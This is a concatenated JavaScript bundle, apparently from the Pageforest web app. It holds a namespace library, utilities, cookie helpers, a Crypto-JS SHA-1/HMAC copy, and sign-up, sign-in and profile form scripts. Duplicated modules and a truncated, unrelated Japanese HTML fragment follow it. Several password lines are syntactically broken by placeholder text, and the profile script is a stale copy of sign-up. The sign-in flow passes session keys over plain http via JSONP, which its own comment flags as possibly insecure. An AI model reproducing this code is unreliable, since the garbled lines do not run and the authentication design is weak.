}
var namespaceT = new Namespace(null);
// 1 - info, 2 - warn, 3 - error
namespaceT.logLevel = 2;
// Extend an object's properties from one (or more) additional
// objects.
var enumBug = !{toString: true}.propertyIsEnumerable('toString');
var internalNames = ['toString', 'toLocaleString', 'valueOf',
'constructor', 'isPrototypeOf'];
function extendObject(dest, args) {
var i, j;
var source;
var prop;
if (dest === undefined) {
dest = {};
}
for (i = 1; i < arguments.length; i++) {
source = arguments[i];
for (prop in source) {
if (source.hasOwnProperty(prop)) {
dest[prop] = source[prop];
}
}
if (!enumBug) {
continue;
}
for (j = 0; j < internalNames.length; j++) {
prop = internalNames[j];
if (source.hasOwnProperty(prop)) {
dest[prop] = source[prop];
}
}
}
return dest;
}
// Useful for converting arguments to an regular array
function copyArray(arg) {
return Array.prototype.slice.call(arg, 0);
}
// Inspired by JavaScript: The Good Parts, p33.
// Usage:
// Class.methods({
// f1: function() {...},
// f2: function() {...}
// });
Function.prototype.methods = function (obj) {
extendObject(this.prototype, obj);
};
Function.methods({
// Closure for a method call - like protoype.bind()
fnMethod: function (obj) {
var _fn = this;
return function() {
return _fn.apply(obj, arguments);
};
},
// Closure with appended parameters to the function call.
fnArgs: function () {
var _fn = this;
var _args = copyArray(arguments);
return function() {
var args = copyArray(arguments).concat(_args);
// REVIEW: Is this intermediate self variable needed?
var self = this;
return _fn.apply(self, args);
};
},
// Closure to delegate calls to a function wrapper.
// Calling params for wrapper are: (this, fn, arguments).
fnWrap: function(fn) {
var _fn = this;
return function() {
var self = this;
return _fn(self, fn, arguments);
};
}
});
// Functions added to every Namespace.
Namespace.methods({
// Call a function with the namespace as a parameter - forming
// a closure for the namespace definition.
define: function(closure) {
this._isDefined = true;
this._closure = closure;
if (namespaceT.logLevel <= 1) {
console.info("Namespace '" + this._path + "' defined.");
}
if (closure) {
Namespace.defining = this;
closure(this);
Namespace.defining = undefined;
}
return this;
},
// Same as define, but will not execute the callback more than once.
defineOnce: function(callback) {
// In case a namespace is multiply loaded, we ignore the
// definition function for all but the first call.
if (this._isDefined) {
if (namespaceT.logLevel <= 2) {
console.warn("Namespace '" + this._path +
"' redefinition.");
}
return this;
}
return this.define(callback);
},
// Extend the namespace from the arguments of this function.
extend: function() {
// Use the Array.slice function to convert arguments to a
// real array.
var args = [this].concat(copyArray(arguments));
return extendObject.apply(undefined, args);
},
// Return a global name for a namespace symbol (for eval()
// or use in onEvent html attributes.
nameOf: function(symbol) {
symbol = symbol.replace(/-/g, '_');
return 'namespace.' + this._path + '.' + symbol;
}
});
extendObject(namespaceT, {
// Lookup a global namespace object, creating it (and it's parents)
// as necessary. If a namespace is currently being defined,
// add any looked up references to the namespace (if lookup is not
// used, _referenced will not be complete.
_isDefined: true,
lookup: function(path) {
var fCreated = false;
path = path.replace(/-/g, '_');
var parts = path.split('.');
var cur = namespaceT;
for (var i = 0; i < parts.length; i++) {
var name = parts[i];
// Ignore empty path parts
if (name == '') {
continue;
}
if (cur[name] === undefined) {
cur = new Namespace(cur, name);
fCreated = true;
}
else {
cur = cur[name];
}
}
if (Namespace.defining) {
Namespace.defining._referenced.push(cur);
if (fCreated) {
if (namespaceT.logLevel <= 2) {
console.warn("Forward reference from " +
Namespace.defining._path + " to " +
path + ".");
}
}
}
return cur;
}
});
// Put utilities in the 'util' namespace beneath the root.
namespaceT.lookup('util').extend({
extendObject: extendObject,
copyArray: copyArray
}).defineOnce();
return namespaceT;
}());
/* Begin file: base.js */
namespace.lookup('org.startpad.base').defineOnce(function(ns) {
var util = namespace.util;
/* Javascript Enumeration - build an object whose properties are
mapped to successive integers. Also allow setting specific values
by passing integers instead of strings. e.g. new ns.Enum("a", "b",
"c", 5, "d") -> {a:0, b:1, c:2, d:5}
*/
function Enum(args) {
var j = 0;
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] == "string") {
this[arguments[i]] = j++;
}
else {
j = arguments[i];
}
}
}
Enum.methods({
// Get the name of a enumerated value.
getName: function(value) {
for (var prop in this) {
if (this.hasOwnProperty(prop)) {
if (this[prop] == value) {
return prop;
}
}
}
}
});
// Fast string concatenation buffer
function StBuf() {
this.clear();
this.append.apply(this, arguments);
}
StBuf.methods({
append: function() {
for (var ist = 0; ist < arguments.length; ist++) {
this.rgst.push(arguments[ist].toString());
}
return this;
},
clear: function() {
this.rgst = [];
},
toString: function() {
return this.rgst.join("");
}
});
function extendIfMissing(oDest, var_args) {
if (oDest == undefined) {
oDest = {};
}
for (var i = 1; i < arguments.length; i++) {
var oSource = arguments[i];
for (var prop in oSource) {
if (oSource.hasOwnProperty(prop) &&
oDest[prop] == undefined) {
oDest[prop] = oSource[prop];
}
}
}
return oDest;
}
// Deep copy properties in turn into dest object
function extendDeep(dest) {
for (var i = 1; i < arguments.length; i++) {
var src = arguments[i];
for (var prop in src) {
if (src.hasOwnProperty(prop)) {
if (src[prop] instanceof Array) {
dest[prop] = [];
ns.extendDeep(dest[prop], src[prop]);
}
else if (src[prop] instanceof Object) {
dest[prop] = {};
ns.extendDeep(dest[prop], src[prop]);
}
else {
dest[prop] = src[prop];
}
}
}
}
}
function randomInt(n) {
return Math.floor(Math.random() * n);
}
function strip(s) {
return (s || "").replace(/^\s+|\s+$/g, "");
}
/* Return new object with just the listed properties "projected"
into the new object. Ignore undefined properties. */
function project(obj, asProps) {
var objT = {};
for (var i = 0; i < asProps.length; i++) {
var name = asProps[i];
if (obj && obj.hasOwnProperty(name)) {
objT[name] = obj[name];
}
}
return objT;
}
function keys(map) {
var list = [];
for (var prop in map) {
if (map.hasOwnProperty(prop)) {
list.push(prop);
}
}
return list;
}
function isArguments(a) {
return typeof a == 'object' &&
a.length != undefined &&
a.callee != undefined;
}
/* Sort elements and remove duplicates from array (modified in place) */
function uniqueArray(a) {
if (!(a instanceof Array)) {
return;
}
a.sort();
for (var i = 1; i < a.length; i++) {
if (a[i - 1] == a[i]) {
a.splice(i, 1);
}
}
}
function generalType(o) {
var t = typeof(o);
if (t != 'object') {
return t;
}
if (o instanceof String) {
return 'string';
}
if (o instanceof Number) {
return 'number';
}
return t;
}
// Perform a deep comparison to check if two objects are equal.
// Inspired by Underscore.js 1.1.0 - some semantics modifed.
// Undefined properties are treated the same as un-set properties
// in both Arrays and Objects.
// Note that two objects with the same OWN properties can be equal
// if they have different prototype chains (and inherited values).
function isEqual(a, b) {
if (a === b) {
return true;
}
if (generalType(a) != generalType(b)) {
return false;
}
if (a == b) {
return true;
}
if (typeof a != 'object') {
return false;
}
// null != {}
if (a instanceof Object != b instanceof Object) {
return false;
}
if (a instanceof Date || b instanceof Date) {
if (a instanceof Date != b instanceof Date ||
a.getTime() != b.getTime()) {
return false;
}
}
var allKeys = [].concat(keys(a), keys(b));
uniqueArray(allKeys);
for (var i = 0; i < allKeys.length; i++) {
var prop = allKeys[i];
if (!isEqual(a[prop], b[prop])) {
return false;
}
}
return true;
}
// Copy any values that have changed from latest to last,
// into dest (and update last as well). This function will
// never set a value in dest to 'undefined'.
// Returns true iff dest was modified.
function extendIfChanged(dest, last, latest) {
var f = false;
for (var prop in latest) {
if (latest.hasOwnProperty(prop)) {
var value = latest[prop];
if (value == undefined) {
continue;
}
if (!isEqual(last[prop], value)) {
last[prop] = value;
dest[prop] = value;
f = true;
}
}
}
return f;
}
function ensureArray(a) {
if (a == undefined) {
a = [];
} else if (isArguments(a)) {
a = util.copyArray(a);
} else if (!(a instanceof Array)) {
a = [a];
}
return a;
}
function indexOf(value, a) {
a = ensureArray(a);
for (var i = 0; i < a.length; i++) {
if (value == a[i]) {
return i;
}
}
return -1;
}
function map(a, fn) {
a = ensureArray(a);
var aRes = [];
for (var i = 0; i < a.length; i++) {
aRes.push(fn(a[i]));
}
return aRes;
}
function filter(a, fn) {
a = ensureArray(a);
var aRes = [];
for (var i = 0; i < a.length; i++) {
if (fn(a[i])) {
aRes.push(a[i]);
}
}
return aRes;
}
function reduce(a, fn) {
a = ensureArray(a);
if (a.length < 2) {
return a[0];
}
var res = a[0];
for (var i = 1; i < a.length; i++) {
res = fn(res, a[i]);
}
return res;
}
// Calls fn(element, index) for each (defined) element.
// Works for Arrays and Objects
// Force an early exit from the loop by returning false;
function forEach(a, fn) {
var ret;
if (a instanceof Array || a.length != undefined) {
for (var i = 0; i < a.length; i++) {
if (a[i] != undefined) {
ret = fn(a[i], i);
if (ret === false) {
return;
}
}
}
return;
}
for (var prop in a) {
if (a.hasOwnProperty(prop)) {
ret = fn(a[prop], prop);
if (ret === false) {
return;
}
}
}
}
function dictFromArray(a, keyName) {
var d = {};
for (var i = 0; i < a.length; i++) {
if (a[i] === undefined || !(keyName in a[i])) {
continue;
}
d[a[i][keyName]] = a[i];
}
return d;
}
// TODO: Use native implementations where available
// in Array.prototype: map, reduce, filter, every, some,
// indexOf, lastIndexOf.
// and in Object.prototype: keys
// see ECMA5 spec.
ns.extend({
'extendObject': util.extendObject,
'Enum': Enum,
'StBuf': StBuf,
'extendIfMissing': extendIfMissing,
'extendIfChanged': extendIfChanged,
'extendDeep': extendDeep,
'randomInt': randomInt,
'strip': strip,
'project': project,
'uniqueArray': uniqueArray,
'indexOf': indexOf,
'map': map,
'filter': filter,
'reduce': reduce,
'keys': keys,
'forEach': forEach,
'ensureArray': ensureArray,
'isEqual': isEqual,
'dictFromArray': dictFromArray
});
}); // startpad.base
/* Begin file: cookies.js */
namespace.lookup('org.startpad.cookies').define(function(ns) {
/*
Client-side cookie reader and writing helper.
Cookies can be quoted with "..." if they have spaces or other
special characters. Internal quotes may be escaped with a \
character These routines use encodeURIComponent to safely encode
and decode all special characters.
*/
var base = namespace.lookup('org.startpad.base');
function setCookie(name, value, days, path) {
var expires = '';
if (days) {
var date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toGMTString();
}
path = '; path=' + (path || '/');
document.cookie = encodeURIComponent(name) + '=' +
encodeURIComponent(value) + expires + path;
}
function getCookie(name) {
return ns.getCookies()[name];
}
function getCookies(name) {
var st = document.cookie;
var rgPairs = st.split(";");
var obj = {};
for (var i = 0; i < rgPairs.length; i++) {
// document.cookie never returns ;max-age, ;secure, etc. -
// just name value pairs
rgPairs[i] = base.strip(rgPairs[i]);
var rgC = rgPairs[i].split("=");
var val = decodeURIComponent(rgC[1]);
// Remove quotes around value string if any (and also
// replaces \" with ")
var rg = val.match('^"(.*)"$');
if (rg) {
val = rg[1].replace('\\"', '"');
}
obj[decodeURIComponent(rgC[0])] = val;
}
return obj;
}
// Exports
ns.extend({
setCookie: setCookie,
getCookie: getCookie,
getCookies: getCookies
});
}); // org.startpad.cookies
/* Begin file: random.js */
namespace.lookup("org.startpad.random").defineOnce(function(ns) {
ns.upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
ns.lower = 'abcdefghijklmnopqrstuvwxyz';
ns.digits = '0123456789';
ns.base64 = ns.upper + ns.lower + ns.digits + '+/';
ns.base64url = ns.upper + ns.lower + ns.digits + '-_';
ns.hexdigits = ns.digits + 'abcdef';
ns.randomString = function(len, chars) {
if (typeof chars == 'undefined') {
chars = ns.base64url;
}
var radix = chars.length;
var result = [];
for (var i = 0; i < len; i++) {
result[i] = chars[0 | Math.random() * radix];
}
return result.join('');
};
});
/* Begin file: crypto.js */
/*
* Crypto-JS trunk (r291)
* http://code.google.com/p/crypto-js/
* Copyright (c) 2009, <NAME>. All rights reserved.
* http://code.google.com/p/crypto-js/wiki/License
*/
//////////////////////////////// Crypto.js ////////////////////////////////
(function () {
/* Global crypto object
---------------------------------------------------------------------------- */
var C = namespace.lookup('com.googlecode.crypto-js');
/* Types
---------------------------------------------------------------------------- */
var types = C.types = {};
/* Word arrays
------------------------------------------------------------- */
var WordArray = types.WordArray = {
// Get significant bytes
getSigBytes: function (words) {
if (words["_Crypto"] && words["_Crypto"].sigBytes != undefined) {
return words["_Crypto"].sigBytes;
} else {
return words.length * 4;
}
},
// Set significant bytes
setSigBytes: function (words, n) {
words["_Crypto"] = { sigBytes: n };
},
// Concatenate word arrays
cat: function (w1, w2) {
return ByteStr.decode(ByteStr.encode(w1) + ByteStr.encode(w2));
}
};
/* Encodings
---------------------------------------------------------------------------- */
var enc = C.enc = {};
/* Byte strings
------------------------------------------------------------- */
var ByteStr = enc.ByteStr = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var str = [];
for (var i = 0; i < sigBytes; i++) {
str.push(String.fromCharCode((words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xFF));
}
return str.join("");
},
decode: function (str) {
var words = [];
for (var i = 0; i < str.length; i++) {
words[i >>> 2] |= str.charCodeAt(i) << (24 - (i % 4) * 8);
}
WordArray.setSigBytes(words, str.length);
return words;
}
};
/* UTF8 strings
------------------------------------------------------------- */
enc.UTF8 = {
encode: function (words) {
return decodeURIComponent(escape(ByteStr.encode(words)));
},
decode: function (str) {
return ByteStr.decode(unescape(encodeURIComponent(str)));
}
};
/* Word arrays
------------------------------------------------------------- */
enc.Words = {
encode: function (words) { return words; },
decode: function (words) { return words; }
};
})();
//////////////////////////////// Hex.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var WordArray = C.types.WordArray;
C.enc.Hex = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var hex = [];
for (var i = 0; i < sigBytes; i++) {
var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xFF;
hex.push((bite >>> 4).toString(16));
hex.push((bite & 0xF).toString(16));
}
return hex.join("");
},
decode: function (hex) {
var words = [];
for (var i = 0; i < hex.length; i += 2) {
words[i >>> 3] |= parseInt(hex.substr(i, 2), 16) << (24 - (i % 8) * 4);
}
WordArray.setSigBytes(words, hex.length / 2);
return words;
}
};
})();
//////////////////////////////// Base64.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var WordArray = C.types.WordArray;
// Base-64 encoding map
var b64map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
C.enc.Base64 = {
encode: function (words) {
var sigBytes = WordArray.getSigBytes(words);
var b64str = [];
for(var i = 0; i < sigBytes; i += 3) {
var triplet = (((words[(i ) >>> 2] >>> (24 - ((i ) % 4) * 8)) & 0xFF) << 16) |
(((words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xFF) << 8) |
( (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i + j * 0.75 <= sigBytes) {
b64str.push(b64map.charAt((triplet >>> (6 * (3 - j))) & 0x3F));
} else {
b64str.push("=");
}
}
}
return b64str.join("");
},
decode: function (b64str) {
// Remove padding
b64str = b64str.replace(/=+$/, "");
var words = [];
for (var i = 0, bites = 0; i < b64str.length; i++) {
if (i % 4) {
words[bites >>> 2] |= (((b64map.indexOf(b64str.charAt(i - 1)) << ((i % 4) * 2)) |
(b64map.indexOf(b64str.charAt(i)) >>> (6 - (i % 4) * 2))) & 0xFF) << (24 - (bites % 4) * 8);
bites++;
}
}
WordArray.setSigBytes(words, bites);
return words;
}
};
})();
//////////////////////////////// SHA1.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var UTF8 = C.enc.UTF8;
var WordArray = C.types.WordArray;
// Public API
var SHA1 = C.SHA1 = function (message, options) {
// Digest
var digestWords = SHA1.digest(message);
// Set default output
var output = options && options.output || C.enc.Hex;
// Return encoded output
return output.encode(digestWords);
};
// The core
SHA1.digest = function (message) {
// Convert to words, else assume words already
var m = message.constructor == String ? UTF8.decode(message) : message;
// Add padding
var l = WordArray.getSigBytes(m) * 8;
m[l >>> 5] |= 0x80 << (24 - l % 32);
m[(((l + 64) >>> 9) << 4) + 15] = l;
// Initial values
var w = [];
var H0 = 0x67452301;
var H1 = 0xEFCDAB89;
var H2 = 0x98BADCFE;
var H3 = 0x10325476;
var H4 = 0xC3D2E1F0;
for (var i = 0; i < m.length; i += 16) {
var a = H0;
var b = H1;
var c = H2;
var d = H3;
var e = H4;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = m[i + j];
else {
var n = w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16];
w[j] = (n << 1) | (n >>> 31);
}
var t = ((H0 << 5) | (H0 >>> 27)) + H4 + (w[j] >>> 0) + (
j < 20 ? ((H1 & H2) | (~H1 & H3)) + 0x5A827999 :
j < 40 ? (H1 ^ H2 ^ H3) + 0x6ED9EBA1 :
j < 60 ? ((H1 & H2) | (H1 & H3) | (H2 & H3)) - 0x70E44324 :
(H1 ^ H2 ^ H3) - 0x359D3E2A);
H4 = H3;
H3 = H2;
H2 = (H1 << 30) | (H1 >>> 2);
H1 = H0;
H0 = t;
}
H0 += a;
H1 += b;
H2 += c;
H3 += d;
H4 += e;
}
return [H0, H1, H2, H3, H4];
};
// Block size
SHA1.blockSize = 16;
})();
//////////////////////////////// HMAC.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var UTF8 = C.enc.UTF8;
var Words = C.enc.Words;
var WordArray = C.types.WordArray;
C.HMAC = function (hasher, message, key, options) {
// Convert to words, else assume words already
var m = message.constructor == String ? UTF8.decode(message) : message;
var k = key.constructor == String ? UTF8.decode(key) : key;
// Allow arbitrary length keys
if (k.length > hasher.blockSize) {
k = hasher(k, { output: Words });
}
// XOR keys with pad constants
var oKey = k.slice(0);
var iKey = k.slice(0);
for (var i = 0; i < hasher.blockSize; i++) {
oKey[i] ^= 0x5C5C5C5C;
iKey[i] ^= 0x36363636;
}
// Hash
var hmacWords = hasher(WordArray.cat(oKey, hasher(WordArray.cat(iKey, m), { output: Words })), { output: Words });
// Set default output
var output = options && options.output || C.enc.Hex;
// Return encoded output
return output.encode(hmacWords);
};
})();
/* Begin file: forms.js */
namespace.lookup('com.pageforest.forms').define(function(ns) {
function showValidatorResults(fields, errors, options) {
var ignoreEmpty = options && options.ignoreEmpty;
for (var index = 0; index < fields.length; index++) {
var name = fields[index];
var html = errors[name];
if (ignoreEmpty && $("#id_" + name).val() === '') {
html = '';
} else if (html) {
html = '<span class="error">' + html + '</span>';
} else {
html = '<span class="success">OK</span>';
}
$("#validate_" + name).html(html);
}
}
function postFormData(url, data, onSuccess, onValidate, onError) {
$.ajax({
type: "POST",
url: url,
data: data,
dataType: "json",
success: function(message, status, xhr) {
if (message.status == 200) {
if (onSuccess) {
onSuccess(message, status, xhr);
}
} else {
if (onValidate) {
onValidate(message, status, xhr);
}
}
},
error: onError
});
}
ns.extend({
showValidatorResults: showValidatorResults,
postFormData: postFormData
});
}); // com.pageforest.forms
/* Begin file: sign-up.js */
namespace.lookup('com.pageforest.auth.sign-up').define(function(ns) {
var cookies = namespace.lookup('org.startpad.cookies');
var crypto = namespace.lookup('com.googlecode.crypto-js');
var forms = namespace.lookup('com.pageforest.forms');
function validatePassword() {
var password = $("#<PASSWORD>").val();
var repeat = $("#id_repeat").val();
if (!password.length) {
return {password: "<PASSWORD>."};
}
if (password.length < 6) {
return {password:
"Ensure this value has at least 6 characters (it has " +
password.length + ")."};
}
if (password != repeat) {
return {repeat: "Password and repeat are not the same."};
}
return false;
}
function onValidate(message, status, xhr, options) {
// Validate password fields on the client side.
var passwordErrors = validatePassword();
for (var error in passwordErrors) {
if (passwordErrors.hasOwnProperty(error)) {
message[error] = passwordErrors[error];
}
}
var fields = ['username', 'password', 'repeat', 'email'];
if (!options || !options.ignoreEmpty) {
fields.push('tos');
}
forms.showValidatorResults(fields, message, options);
}
function onValidateIgnoreEmpty(message, status, xhr) {
onValidate(message, status, xhr, {ignoreEmpty: true});
}
function onSuccess(message, status, xhr) {
window.location = '/sign-in/';
}
function onError(xhr, status, message) {
console.error(xhr);
}
function getFormData() {
var username = $("#id_username").val();
var lower = username.toLowerCase();
var password = $("#<PASSWORD>").val();
return {
username: username,
password: crypto.HMAC(crypto.SHA1, lower, password),
email: $("#id_email").val(),
tos: $("#id_tos").attr('checked') ? 'checked' : ''
};
}
function isChanged() {
var username = $("#id_username").val();
var password = <PASSWORD>").val();
var repeat = $("#id_repeat").val();
var email = $("#id_email").val();
var oneline = [username, password, repeat, email].join('|');
if (oneline == ns.previous) {
return false;
}
ns.previous = oneline;
return true;
}
function validateIfChanged() {
if (!isChanged()) {
return;
}
var data = getFormData();
data.validate = true;
forms.postFormData('/sign-up/', data,
null, onValidateIgnoreEmpty, onError);
}
function onSubmit() {
var errors = validatePassword();
if (errors) {
forms.showValidatorResults(['password', 'repeat'], errors);
} else {
forms.postFormData('/sign-up/', getFormData(),
onSuccess, onValidate, onError);
}
return false;
}
// Request a new email verification for the signed in user.
function resend() {
console.log("resend");
$.ajax({
type: "POST",
url: "/email-verify/",
data: {resend: true},
dataType: "json",
success: function() {
$('span#result').css('color', '#0A0')
.html("A new verification email was sent.");
},
error: function() {
$('span#result').css('color', '#F00')
.html("Sorry, please try again later.");
}
});
return false;
}
function onReady() {
// Hide message about missing JavaScript.
$('#enablejs').hide();
$('input').removeAttr('disabled');
// Show message about missing HttpOnly support.
if (cookies.getCookie('httponly')) {
$('#httponly').show();
}
// Initialize ns.previous to track input changes.
isChanged();
// Validate in the background
setInterval(validateIfChanged, 1000);
$('#id_tos').click(function() {
$('#validate_tos').html('');
});
}
ns.extend({
onReady: onReady,
onSubmit: onSubmit,
resend: resend
});
}); // com.pageforest.auth.sign-up
/* Begin file: sign-in.js */
/*
Handle logging a user into Pageforest and optionally also log them
in to a Pageforest application.
A logged in use will get a session key on www.pageforest.com. This
script makes requests to appid.pageforest.com in order to get a
cookie set on the application domain when the user wants to allow
the application access to his store.
*/
namespace.lookup('com.pageforest.auth.sign-in').define(function(ns) {
var cookies = namespace.lookup('org.startpad.cookies');
var crypto = namespace.lookup('com.googlecode.crypto-js');
var forms = namespace.lookup('com.pageforest.forms');
// www.pageforest.com -> app.pageforest.com
// pageforest.com -> app.pageforest.com
function getAppDomain(appId) {
var parts = window.location.host.split('.');
if (parts[0] == 'www') {
parts[0] = appId;
} else {
parts.splice(0, 0, appId);
}
return parts.join('.');
}
// Use JSONP to read the username from the cross-site application.
function getJSONP(url, fn) {
$.ajax({
type: "GET",
url: url,
dataType: "jsonp",
success: fn,
// We return a 404 for the jsonP - when can trigger this error
// Review: would be better to tunnel all results at 200 with
// embedded error status.
error: function() {
fn({status: 500});
}
});
}
// Display success, and close window in 2 seconds.
function closeForm() {
if (ns.appId) {
$(".have_app").show();
}
$(".want_app").hide();
setTimeout(window.close, 2000);
}
// Send a valid appId sessionKey to the app domain
// to get it installed on a cookie.
function transferSession(sessionKey, fn) {
var url = ns.appAuthURL + "set-session/" + sessionKey;
getJSONP(url, function(message) {
if (typeof(message) != 'string') {
return;
}
if (fn) {
fn();
}
// Close the window if this was used to
// sign in to the app.
if (sessionKey) {
closeForm();
}
});
return false;
}
function onSuccess(message, status, xhr) {
if (message.sessionKey) {
transferSession(message.sessionKey, function() {
window.location.reload();
});
return;
}
window.location.reload();
}
function onError(xhr, status, message) {
var text = xhr.responseText;
if (text.substr(0, 19) == 'Invalid signature: ') {
text = text.substr(19);
}
if (/(user|account)/i.test(text)) {
forms.showValidatorResults(
['username', 'password'], {username: text, password: ' '});
} else {
forms.showValidatorResults(
['username', 'password'], {password: text});
}
}
function onChallenge(challenge, status, xhr) {
var username = $('#id_username').val();
var lower = username.toLowerCase();
var password = $('#<PASSWORD>').val();
var userpass = crypto.HMAC(crypto.SHA1, lower, password);
var signature = crypto.HMAC(crypto.SHA1, challenge, userpass);
var reply = lower + '|' + challenge + '|' + signature;
$.ajax({
url: '/auth/verify/' + reply,
success: onSuccess,
error: onError
});
}
function onSubmit() {
$.ajax({
url: '/auth/challenge',
success: onChallenge,
error: onError
});
return false;
}
// Check if user is already logged in.
function onReady(username, appId) {
// Hide message about missing JavaScript.
$('#enablejs').hide();
$('input').removeAttr('disabled');
// Show message about missing HttpOnly support.
if (cookies.getCookie('httponly')) {
$('#httponly').show();
}
ns.appId = appId;
ns.appAuthURL = 'http://' + getAppDomain(appId) + '/auth/';
// Nothing to do until the user signs in - page will reload
// on form post.
if (!username) {
return;
}
// Check (once) if we're also currently logged in @ appId
// without having to sign-in again.
// REVIEW: Isn't this insecure?
var url = ns.appAuthURL + "username/";
getJSONP(url, function(username) {
// We're already logged in!
if (typeof(username) == 'string') {
closeForm();
return;
}
});
}
function signOut() {
if (ns.appId) {
transferSession('expired', function() {
window.location = '/sign-out/' + ns.appId;
});
return;
}
window.location = '/sign-out/';
}
ns.extend({
'onReady': onReady,
'onSubmit': onSubmit,
'transferSession': transferSession,
'signOut': signOut
});
}); // com.pageforest.auth.sign-in
/* Begin file: profile.js */
namespace.lookup('com.pageforest.auth.profile').define(function(ns) {
var cookies = namespace.lookup('org.startpad.cookies');
var crypto = namespace.lookup('com.googlecode.crypto-js');
var forms = namespace.lookup('com.pageforest.forms');
function validatePassword() {
var password = <PASSWORD>").val();
var repeat = $("#id_repeat").val();
if (!password.length) {
return {password: "<PASSWORD>."};
}
if (password.length < 6) {
return {password:
"Ensure this value has at least 6 characters (it has " +
password.length + ")."};
}
if (password != repeat) {
return {repeat: "Password and repeat are not the same."};
}
return false;
}
function onValidate(message, status, xhr, options) {
// Validate password fields on the client side.
var passwordErrors = validatePassword();
for (var error in passwordErrors) {
if (passwordErrors.hasOwnProperty(error)) {
message[error] = passwordErrors[error];
}
}
var fields = ['username', 'password', 'repeat', 'email'];
if (!options || !options.ignoreEmpty) {
fields.push('tos');
}
forms.showValidatorResults(fields, message, options);
}
function onValidateIgnoreEmpty(message, status, xhr) {
onValidate(message, status, xhr, {ignoreEmpty: true});
}
function onSuccess(message, status, xhr) {
window.location = '/sign-in/';
}
function onError(xhr, status, message) {
console.error(xhr);
}
function getFormData() {
var username = $("#id_username").val();
var lower = username.toLowerCase();
var password = $("#id_<PASSWORD>").val();
return {
username: username,
password: crypto.HMAC(crypto.SHA1, lower, password),
email: $("#id_email").val(),
tos: $("#id_tos").attr('checked') ? 'checked' : ''
};
}
function isChanged() {
var username = $("#id_username").val();
var password = $("#id_<PASSWORD>").val();
var repeat = $("#id_repeat").val();
var email = $("#id_email").val();
var oneline = [username, password, repeat, email].join('|');
if (oneline == ns.previous) {
return false;
}
ns.previous = oneline;
return true;
}
function validateIfChanged() {
if (!isChanged()) {
return;
}
var data = getFormData();
data.validate = true;
forms.postFormData('/sign-up/', data,
null, onValidateIgnoreEmpty, onError);
}
function onSubmit() {
var errors = validatePassword();
if (errors) {
forms.showValidatorResults(['password', 'repeat'], errors);
} else {
forms.postFormData('/sign-up/', getFormData(),
onSuccess, onValidate, onError);
}
return false;
}
// Request a new email verification for the signed in user.
function resend() {
console.log("resend");
$.ajax({
type: "POST",
url: "/email-verify/",
data: {resend: true},
dataType: "json",
success: function() {
$('span#result').css('color', '#0A0')
.html("A new verification email was sent.");
},
error: function() {
$('span#result').css('color', '#F00')
.html("Sorry, please try again later.");
}
});
return false;
}
function onReady() {
// Hide message about missing JavaScript.
$('#enablejs').hide();
$('input').removeAttr('disabled');
// Show message about missing HttpOnly support.
if (cookies.getCookie('httponly')) {
$('#httponly').show();
}
// Initialize ns.previous to track input changes.
isChanged();
// Validate in the background
setInterval(validateIfChanged, 1000);
$('#id_tos').click(function() {
$('#validate_tos').html('');
});
}
ns.extend({
onReady: onReady,
onSubmit: onSubmit,
resend: resend
});
}); // com.pageforest.auth.sign-up
<file_sep>namespace.lookup('org.startpad.cookies').define(function(ns) {
/*
Client-side cookie reader and writing helper.
Cookies can be quoted with "..." if they have spaces or other
special characters. Internal quotes may be escaped with a \
character These routines use encodeURIComponent to safely encode
and decode all special characters.
*/
var base = namespace.lookup('org.startpad.base');
function setCookie(name, value, days, path) {
var expires = '';
if (days) {
var date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toGMTString();
}
path = '; path=' + (path || '/');
document.cookie = encodeURIComponent(name) + '=' +
encodeURIComponent(value) + expires + path;
}
function getCookie(name) {
return ns.getCookies()[name];
}
function getCookies(name) {
var st = document.cookie;
var rgPairs = st.split(";");
var obj = {};
for (var i = 0; i < rgPairs.length; i++) {
// document.cookie never returns ;max-age, ;secure, etc. -
// just name value pairs
rgPairs[i] = base.strip(rgPairs[i]);
var rgC = rgPairs[i].split("=");
var val = decodeURIComponent(rgC[1]);
// Remove quotes around value string if any (and also
// replaces \" with ")
var rg = val.match('^"(.*)"$');
if (rg) {
val = rg[1].replace('\\"', '"');
}
obj[decodeURIComponent(rgC[0])] = val;
}
return obj;
}
// Exports
ns.extend({
setCookie: setCookie,
getCookie: getCookie,
getCookies: getCookies
});
}); // org.startpad.cookies
<file_sep>namespace.lookup('com.pageforest.forms').define(function(ns) {
function showValidatorResults(fields, errors, options) {
var ignoreEmpty = options && options.ignoreEmpty;
for (var index = 0; index < fields.length; index++) {
var name = fields[index];
var html = errors[name];
if (ignoreEmpty && $("#id_" + name).val() === '') {
html = '';
} else if (html) {
html = '<span class="error">' + html + '</span>';
} else {
html = '<span class="success">OK</span>';
}
$("#validate_" + name).html(html);
}
}
function postFormData(url, data, onSuccess, onValidate, onError) {
$.ajax({
type: "POST",
url: url,
data: data,
dataType: "json",
success: function(message, status, xhr) {
if (message.status == 200) {
if (onSuccess) {
onSuccess(message, status, xhr);
}
} else {
if (onValidate) {
onValidate(message, status, xhr);
}
}
},
error: onError
});
}
ns.extend({
showValidatorResults: showValidatorResults,
postFormData: postFormData
});
}); // com.pageforest.forms
<file_sep><article>
<h1>
<div style="font-size:30px;margin:0px;padding:0px;">今回のテーマ</div>
「僕の私の得意技」
<br>
</h1>
<p>
